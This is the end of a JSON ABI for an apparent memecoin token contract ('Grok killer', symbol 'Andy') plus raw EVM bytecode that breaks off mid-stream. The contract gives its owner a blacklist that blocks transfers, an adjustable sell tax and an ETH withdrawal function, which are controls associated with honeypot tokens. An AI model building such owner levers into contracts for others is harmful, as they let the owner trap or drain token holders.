"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"_excluded","type":"bool"}],"name":"setExcludedFromFeeList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"setSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"isSwapEth","type":"bool"}],"name":"setSwapEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapNumber","type":"uint256"}],"name":"setSwapNumber","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"_isBlacklisting","type":"bool"}],"name":"setblacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_limit","type":"bool"},{"internalType":"uint256","name":"_limitNumber","type":"uint256"}],"name":"setlimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEth","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"thirdlyBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdawOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273304adfbdf79cc45daefe0b75d04913d8bd0a97cf60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600a5561012c600b55610258600c555f600d555f600e55600160115f6101000a81548160ff0219169083151502179055506001601160016101000a81548160ff021916908315150217905550348015620000b1575f80fd5b506040518060400160405280600b81526020017f47726f6b206b696c6c65720000000000000000000000000000000000000000008152506040518060400160405280600481526020017f416e647900000000000000000000000000000000000000000000000000000000815250335f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000192575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040162000189919062000c8a565b60405180910390fd5b620001a381620006bc60201b60201c565b508160049081620001b5919062000f09565b508060059081620001c7919062000f09565b5050505f6b164b8bd581eb74d7740000009050620001ec33826200077d60201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d1919062001020565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000358573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200037e919062001020565b6040518363ffffffff1660e01b81526004016200039d92919062001050565b6020604051808303815f875af1158015620003ba573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003e0919062001020565b601160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200048b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004b1919062001020565b60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606481620004ff9190620010d5565b600f8190555061012c81620005159190620010d5565b60108190555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401620005ba9291906200111d565b6020604051808303815f875af1158015620005d7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005fd919062001182565b50620006523060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200080760201b60201c565b620006b5620006666200082160201b60201c565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200080760201b60201c565b5062001242565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620007f0575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401620007e7919062000c8a565b60405180910390fd5b620008035f83836200084860201b60201c565b5050565b6200081c838383600162000a6f60201b60201c565b505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200089c578060035f8282546200088f9190620011b2565b925050819055506200096f565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101562000929578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016200092093929190620011ec565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620009b8578060035f828254039250508190555062000a03565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000a62919062001227565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160362000ae2575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040162000ad9919062000c8a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000b55575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040162000b4c919062000c8a565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801562000c41578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405162000c38919062001227565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000c728262000c47565b9050919050565b62000c848162000c66565b82525050565b5f60208201905062000c9f5f83018462000c79565b92915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000d2157607f821691505b60208210810362000d375762000d3662000cdc565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000d9b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000d5e565b62000da7868362000d5e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000df162000deb62000de58462000dbf565b62000dc8565b62000dbf565b9050919050565b5f819050919050565b62000e0c8362000dd1565b62000e2462000e1b8262000df8565b84845462000d6a565b825550505050565b5f90565b62000e3a62000e2c565b62000e4781848462000e01565b505050565b5b8181101562000e6e5762000e625f8262000e30565b60018101905062000e4d565b5050565b601f82111562000ebd5762000e878162000d3d565b62000e928462000d4f565b8101602085101562000ea2578190505b62000eba62000eb18562000d4f565b83018262000e4c565b50505b505050565b5f82821c905092915050565b5f62000edf5f198460080262000ec2565b1980831691505092915050565b5f62000ef9838362000ece565b9150826002028217905092915050565b62000f148262000ca5565b67ffffffffffffffff81111562000f305762000f2f62000caf565b5b62000f3c825462000d09565b62000f4982828562000e72565b5f60209050601f83116001811462000f7f575f841562000f6a578287015190505b62000f76858262000eec565b86555062000fe5565b601f19841662000f8f8662000d3d565b5f5b8281101562000fb85784890151825560018201915060208501945060208101905062000f91565b8683101562000fd8578489015162000fd4601f89168262000ece565b8355505b6001600288020188555050505b505050505050565b5f80fd5b62000ffc8162000c66565b811462001007575f80fd5b50565b5f815190506200101a8162000ff1565b92915050565b5f6020828403121562001038576200103762000fed565b5b5f62001047848285016200100a565b91505092915050565b5f604082019050620010655f83018562000c79565b62001074602083018462000c79565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620010e18262000dbf565b9150620010ee8362000dbf565b9250826200110157620011006200107b565b5b828204905092915050565b620011178162000dbf565b82525050565b5f604082019050620011325f83018562000c79565b6200114160208301846200110c565b9392505050565b5f8115159050919050565b6200115e8162001148565b811462001169575f80fd5b50565b5f815190506200117c8162001153565b92915050565b5f602082840312156200119a576200119962000fed565b5b5f620011a9848285016200116c565b91505092915050565b5f620011be8262000dbf565b9150620011cb8362000dbf565b9250828201905080821115620011e657620011e5620010a8565b5b92915050565b5f606082019050620012015f83018662000c79565b6200121060208301856200110c565b6200121f60408301846200110c565b949350505050565b5f6020820190506200123c5f8301846200110c565b92915050565b61318880620012505f395ff3fe608060405260043610610233575f3560e01c80636612e66f1161012d578063a9059cbb116100aa578063d99274481161006e578063d992744814610802578063dc1052e21461082a578063dd62ed3e14610852578063edae876f1461088e578063f2fde38b146108b85761023a565b8063a9059cbb14610720578063ad5c46481461075c578063b5cbeb8d14610786578063cc1776d3146107b0578063d2744c18146107da5761023a565b80638cd09d50116100f15780638cd09d50146106525780638da5cb5b1461067a57806395d89b41146106a4578063967123cd146106ce578063a6903278146106f65761023a565b80636612e66f146105845780636e4ad4ba146105ac57806370a08231146105d6578063715018a6146106125780638648c6a6146106285761023a565b8063278f2982116101bb57806349bd5a5e1161017f57806349bd5a5e146104b65780634f7041a5146104e05780635384f2461461050a5780635be89fbd14610534578063632e54421461055c5761023a565b8063278f2982146103e65780632b216cc6146104105780632d3e474a1461043a578063313ce56714610464578063404e51291461048e5761023a565b806316c021291161020257806316c02129146102f457806318160ddd146103305780631c6a0c4c1461035a5780631e89d5451461038257806323b872dd146103aa5761023a565b806306fdde031461023e578063095ea7b3146102685780630a3ccb23146102a457806314aec748146102cc5761023a565b3661023a57005b5f80fd5b348015610249575f80fd5b506102526108e0565b60405161025f91906124a5565b60405180910390f35b348015610273575f80fd5b5061028e6004803603810190610289919061255a565b610970565b60405161029b91906125b2565b60405180910390f35b3480156102af575f80fd5b506102ca60048036038101906102c591906125f5565b610992565b005b3480156102d7575f80fd5b506102f260048036038101906102ed9190612620565b6109b7565b005b3480156102ff575f80fd5b5061031a6004803603810190610315919061265e565b6109e3565b60405161032791906125b2565b60405180910390f35b34801561033b575f80fd5b50610344610a00565b6040516103519190612698565b60405180910390f35b348015610365575f80fd5b50610380600480360381019061037b91906126b1565b610a09565b005b34801561038d575f80fd5b506103a860048036038101906103a39190612792565b610a58565b005b3480156103b5575f80fd5b506103d060048036038101906103cb9190612810565b610be2565b6040516103dd91906125b2565b60405180910390f35b3480156103f1575f80fd5b506103fa610c10565b6040516104079190612698565b60405180910390f35b34801561041b575f80fd5b50610424610c16565b60405161043191906125b2565b60405180910390f35b348015610445575f80fd5b5061044e610c28565b60405161045b919061286f565b60405180910390f35b34801561046f575f80fd5b50610478610c4d565b60405161048591906128a3565b60405180910390f35b348015610499575f80fd5b506104b460048036038101906104af91906128bc565b610c55565b005b3480156104c1575f80fd5b506104ca610cb5565b6040516104d7919061286f565b60405180910390f35b3480156104eb575f80fd5b506104f4610cdb565b6040516105019190612698565b60405180910390f35b348015610515575f80fd5b5061051e610ce1565b60405161052b91906125b2565b60405180910390f35b34801561053f575f80fd5b5061055a600480360381019061055591906126b1565b610cf4565b005b348015610567575f80fd5b50610582600480360381019061057d91906128fa565b610d06565b005b34801561058f575f80fd5b506105aa60048036038101906105a591906128bc565b610dfd565b005b3480156105b7575f80fd5b506105c0610e5d565b6040516105cd9190612698565b60405180910390f35b3480156105e1575f80fd5b506105fc60048036038101906105f7919061265e565b610e63565b6040516106099190612698565b60405180910390f35b34801561061d575f80fd5b50610626610ea9565b005b348015610633575f80fd5b5061063c610ebc565b6040516106499190612698565b60405180910390f35b34801561065d575f80fd5b50610678600480360381019061067391906126b1565b610ec2565b005b348015610685575f80fd5b5061068e610ed4565b60405161069b919061286f565b60405180910390f35b3480156106af575f80fd5b506106b8610efb565b6040516106c591906124a5565b60405180910390f35b3480156106d9575f80fd5b506106f460048036038101906106ef9190612957565b610f8b565b005b348015610701575f80fd5b5061070a61102e565b6040516107179190612698565b60405180910390f35b34801561072b575f80fd5b506107466004803603810190610741919061255a565b611034565b60405161075391906125b2565b60405180910390f35b348015610767575f80fd5b50610770611056565b60405161077d919061286f565b60405180910390f35b348015610791575f80fd5b5061079a61107b565b6040516107a79190612698565b60405180910390f35b3480156107bb575f80fd5b506107c4611081565b6040516107d19190612698565b60405180910390f35b3480156107e5575f80fd5b5061080060048036038101906107fb9190612957565b611087565b005b34801561080d575f80fd5b506108286004803603810190610823919061265e565b61112a565b005b348015610835575f80fd5b50610850600480360381019061084b91906126b1565b611228565b005b34801561085d575f80fd5b50610878600480360381019061087391906129b4565b61123a565b6040516108859190612698565b60405180910390f35b348015610899575f80fd5b506108a26112bc565b6040516108af9190612a4d565b60405180910390f35b3480156108c3575f80fd5b506108de60048036038101906108d9919061265e565b6112e1565b005b6060600480546108ef90612a93565b80601f016020809104026020016040519081016040528092919081815260200182805461091b90612a93565b80156109665780601f1061093d57610100808354040283529160200191610966565b820191905f5260205f20905b81548152906001019060200180831161094957829003601f168201915b5050505050905090565b5f8061097a611365565b905061098781858561136c565b600191505092915050565b61099a61137e565b80601160016101000a81548160ff02191690831515021790555050565b6109bf61137e565b8160115f6101000a81548160ff02191690831515021790555080600f819055505050565b6006602052805f5260405f205f915054906101000a900460ff1681565b5f600354905090565b610a1161137e565b3373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610a54573d5f803e3d5ffd5b5050565b6103218484905010610a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9690612b33565b60405180910390fd5b818190508484905014610ae7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ade90612bc1565b60405180910390fd5b5f805b85859050811015610b2957838382818110610b0857610b07612bdf565b5b9050602002013582610b1a9190612c39565b91508080600101915050610aea565b5080610b3433610e63565b1015610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90612cb6565b60405180910390fd5b5f5b85859050811015610bda57610bcd33878784818110610b9957610b98612bdf565b5b9050602002016020810190610bae919061265e565b868685818110610bc157610bc0612bdf565b5b90506020020135611405565b8080600101915050610b77565b505050505050565b5f80610bec611365565b9050610bf9858285611be2565b610c04858585611405565b60019150509392505050565b600c5481565b60115f9054906101000a900460ff1681565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6012905090565b610c5d61137e565b8060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b601160019054906101000a900460ff1681565b610cfc61137e565b8060108190555050565b6107d18383905010610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612d44565b60405180910390fd5b5f8383905082610d5d9190612d62565b905080610d6933610e63565b1015610daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da190612cb6565b60405180910390fd5b5f5b84849050811015610df657610de933868684818110610dce57610dcd612bdf565b5b9050602002016020810190610de3919061265e565b85611405565b8080600101915050610dac565b5050505050565b610e0561137e565b8060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600f5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610eb161137e565b610eba5f611c74565b565b60105481565b610eca61137e565b80600e8190555050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610f0a90612a93565b80601f0160208091040260200160405190810160405280929190818152602001828054610f3690612a93565b8015610f815780601f10610f5857610100808354040283529160200191610f81565b820191905f5260205f20905b815481529060010190602001808311610f6457829003601f168201915b5050505050905090565b610f9361137e565b5f5b83839050811015611028578160065f868685818110610fb757610fb6612bdf565b5b9050602002016020810190610fcc919061265e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610f95565b50505050565b600a5481565b5f8061103e611365565b905061104b818585611405565b600191505092915050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600e5481565b61108f61137e565b5f5b83839050811015611124578160075f8686858181106110b3576110b2612bdf565b5b90506020020160208101906110c8919061265e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050611091565b50505050565b61113261137e565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611188919061286f565b602060405180830381865afa1580156111a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111c79190612db7565b6040518363ffffffff1660e01b81526004016111e4929190612de2565b6020604051808303815f875af1158015611200573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112249190612e1d565b5050565b61123061137e565b80600d8190555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6112e961137e565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611359575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401611350919061286f565b60405180910390fd5b61136281611c74565b50565b5f33905090565b6113798383836001611d35565b505050565b611386611365565b73ffffffffffffffffffffffffffffffffffffffff166113a4610ed4565b73ffffffffffffffffffffffffffffffffffffffff1614611403576113c7611365565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016113fa919061286f565b60405180910390fd5b565b60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156114a3575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b6114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d990612e92565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff16601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561154057505f600a54145b1561154d5742600a819055505b611555610ed4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115da575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611631575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611682575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806116d3575060075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061171057506116e1610ed4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611767575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806117be575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806117f457503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061182a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561183f5761183a838383611f04565b611bdd565b8273ffffffffffffffffffffffffffffffffffffffff16601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806118e857508173ffffffffffffffffffffffffffffffffffffffff16601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15611bd15760115f9054906101000a900460ff16801561195557508273ffffffffffffffffffffffffffffffffffffffff16601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80156119ae57508173ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15611a0b57600f546119bf83610e63565b826119ca9190612c39565b10611a0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0190612efa565b60405180910390fd5b5b5f600b54600a54611a1c9190612c39565b421015611a8b578373ffffffffffffffffffffffffffffffffffffffff16601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611a8157601e9050611a86565b602890505b611b71565b600c54600a54611a9b9190612c39565b421015611b0a578373ffffffffffffffffffffffffffffffffffffffff16601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611b0057600a9050611b05565b601490505b611b70565b8373ffffffffffffffffffffffffffffffffffffffff16601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611b6957600d549050611b6f565b600e5490505b5b5b5f60648383611b809190612d62565b611b8a9190612f45565b9050611b97853083611f04565b601260149054906101000a900460ff16611bb457611bb3611ff4565b5b611bca85858386611bc59190612f75565b611f04565b5050611bdd565b611bdc838383611f04565b5b505050565b5f611bed848461123a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611c6e5781811015611c5f578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401611c5693929190612fa8565b60405180910390fd5b611c6d84848484035f611d35565b5b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611da5575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611d9c919061286f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e15575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401611e0c919061286f565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015611efe578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051611ef59190612698565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f74575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611f6b919061286f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fe4575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611fdb919061286f565b60405180910390fd5b611fef8383836121ff565b505050565b6001601260146101000a81548160ff0219169083151502179055505f61201930610e63565b90506010548111156121e2575f600267ffffffffffffffff81111561204157612040612fdd565b5b60405190808252806020026020018201604052801561206f5781602001602082028036833780820191505090505b50905030815f8151811061208657612085612bdf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106120f6576120f5612bdf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d795835f8460085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016121b39594939291906130fa565b5f604051808303815f87803b1580156121ca575f80fd5b505af11580156121dc573d5f803e3d5ffd5b50505050505b505f601260146101000a81548160ff021916908315150217905550565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361224f578060035f8282546122439190612c39565b9250508190555061231f565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156122d9578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016122d093929190612fa8565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612366578060035f82825403925050819055506123b1565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161240e9190612698565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612452578082015181840152602081019050612437565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6124778261241b565b6124818185612425565b9350612491818560208601612435565b61249a8161245d565b840191505092915050565b5f6020820190508181035f8301526124bd818461246d565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124f6826124cd565b9050919050565b612506816124ec565b8114612510575f80fd5b50565b5f81359050612521816124fd565b92915050565b5f819050919050565b61253981612527565b8114612543575f80fd5b50565b5f8135905061255481612530565b92915050565b5f80604083850312156125705761256f6124c5565b5b5f61257d85828601612513565b925050602061258e85828601612546565b9150509250929050565b5f8115159050919050565b6125ac81612598565b82525050565b5f6020820190506125c55f8301846125a3565b92915050565b6125d481612598565b81146125de575f80fd5b50565b5f813590506125ef816125cb565b92915050565b5f6020828403121561260a576126096124c5565b5b5f612617848285016125e1565b91505092915050565b5f8060408385031215612636576126356124c5565b5b5f612643858286016125e1565b925050602061265485828601612546565b9150509250929050565b5f60208284031215612673576126726124c5565b5b5f61268084828501612513565b91505092915050565b61269281612527565b82525050565b5f6020820190506126ab5f83